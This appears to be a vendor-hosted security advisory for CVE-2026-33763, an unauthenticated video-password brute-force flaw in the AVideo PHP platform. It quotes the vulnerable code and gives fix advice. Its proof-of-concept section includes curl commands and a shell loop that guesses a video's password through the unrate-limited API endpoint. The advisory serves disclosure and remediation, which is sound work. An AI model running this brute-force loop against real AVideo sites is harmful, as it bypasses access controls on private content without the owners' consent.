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GHSA-8prq-2jr2-cm92

MEDIUM

AVideo has an Unauthenticated Video Password Brute-Force Vulnerability via Unrate-Limited Boolean Oracle

Also known asCVE-2026-33763
Published
Mar 26, 2026
Updated
Mar 27, 2026
Affected
1 pkg
Patched
None yet
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk24th percentile+0.18%
0.00%0.27%0.55%0.82%0.1%0.1%0.1%0.3%Apr 26Jun 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐘wwbn/avideo

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The get_api_video_password_is_correct API endpoint allows any unauthenticated user to verify whether a given password is correct for any password-protected video. The endpoint returns a boolean passwordIsCorrect field with no rate limiting, CAPTCHA, or authentication requirement, enabling efficient offline-speed brute-force attacks against video passwords.

Details

The vulnerable endpoint is defined at plugin/API/API.php:1111-1133:

public function get_api_video_password_is_correct($parameters)
{
    $obj = new stdClass();
    $obj->videos_id = intval($parameters['videos_id']);
    $obj->passwordIsCorrect = true;
    $error = true;
    $msg = '';

    if (!empty($obj->videos_id)) {
        $error = false;
        $video = new Video('', '', $obj->videos_id);
        $password = $video->getVideo_password();
        if (!empty($password)) {
            $obj->passwordIsCorrect = $password == $parameters['video_password'];
        }
    } else {
        $msg = 'Videos id is required';
    }

    return new ApiObject($msg, $error, $obj);
}

The get() dispatcher at API.php:191-209 routes GET requests directly to this method without any authentication enforcement:

public function get($parameters) {
    // ... optional user login if credentials provided ...
    $APIName = $parameters['APIName'];
    if (method_exists($this, "get_api_$APIName")) {
        $str = "\$object = \$this->get_api_$APIName(\$parameters);";
        eval($str);
    }
}

The application has a checkRateLimit() mechanism (line 5737) that is applied to user registration (line 4232) and user deactivation (line 5705), but is not applied to this password verification endpoint.

Additionally, video passwords are stored in plaintext (objects/video.php:523-527):

public function setVideo_password($video_password) {
    AVideoPlugin::onVideoSetVideo_password($this->id, $this->video_password, $video_password);
    $this->video_password = trim($video_password);
}

The comparison at line 1125 uses loose equality (==) rather than strict equality (===).

PoC

Step 1: Identify a password-protected video

curl -s "http://localhost/plugin/API/get.json.php?APIName=video&videos_id=1" | jq '.response.rows[0].video_password'

A non-empty value (e.g., "1") indicates the video is password-protected.

Step 2: Test incorrect password (oracle returns false)

curl -s "http://localhost/plugin/API/get.json.php?APIName=video_password_is_correct&videos_id=1&video_password=wrongguess"

Expected response:

{"response":{"videos_id":1,"passwordIsCorrect":false},"error":false}

Step 3: Brute-force the password

for pw in password 123456 secret admin test video1 qwerty; do
  result=$(curl -s "http://localhost/plugin/API/get.json.php?APIName=video_password_is_correct&videos_id=1&video_password=$pw" | jq -r '.response.passwordIsCorrect')
  echo "$pw: $result"
  [ "$result" = "true" ] && echo "FOUND: $pw" && break
done

No rate limiting is encountered regardless of request volume.

Step 4: Unlock the video with the discovered password

curl -s "http://localhost/view/video.php?v=1&video_password=DISCOVERED_PASSWORD" -c cookies.txt

The password is stored in the session (CustomizeUser.php:806-807) granting persistent access.

Impact

An attacker can brute-force the password of any password-protected video on the platform without authentication. Since video passwords are typically simple shared secrets (not per-user credentials), common password dictionaries are likely to succeed quickly. Successful exploitation bypasses the access control for password-protected content, which may include commercially sensitive, private, or restricted video content. The lack of any rate limiting means an attacker can test thousands of passwords per second.

Recommended Fix

  1. Add rate limiting to the endpoint using the existing checkRateLimit() mechanism:
public function get_api_video_password_is_correct($parameters)
{
    $this->checkRateLimit('video_password_check', 5, 300); // 5 attempts per 5 minutes per IP

    $obj = new stdClass();
    $obj->videos_id = intval($parameters['videos_id']);
    // ... rest of existing code
}
  1. Hash video passwords using password_hash()/password_verify() instead of plaintext storage and loose comparison:
// In setVideo_password:
$this->video_password = password_hash(trim($video_password), PASSWORD_DEFAULT);

// In the check endpoint:
$obj->passwordIsCorrect = password_verify($parameters['video_password'], $password);
  1. Use strict comparison (===) if plaintext passwords must be retained temporarily during migration.

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐘Packagistwwbn/avideoall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Remediation status

    No patched version of wwbn/avideo has shipped for GHSA-8prq-2jr2-cm92 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-8prq-2jr2-cm92 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-8prq-2jr2-cm92. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The `get_api_video_password_is_correct` API endpoint allows any unauthenticated user to verify whether a given password is correct for any password-protected video. The endpoint returns a boolean `passwordIsCorrect` field with no rate limiting, CAPTCHA, or authentication requirement, enabling efficient offline-speed brute-force attacks against video passwords. ## Details The vulnerable endpoint is defined at `plugin/API/API.php:1111-1133`: ```php public function get_api_video_password_is_correct($parameters) { $obj = new stdClass(); $obj->videos_id = intval($parameters['
O3 Security · Impact-Aware SCA

Is GHSA-8prq-2jr2-cm92 in your dependencies?

O3 detects GHSA-8prq-2jr2-cm92 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.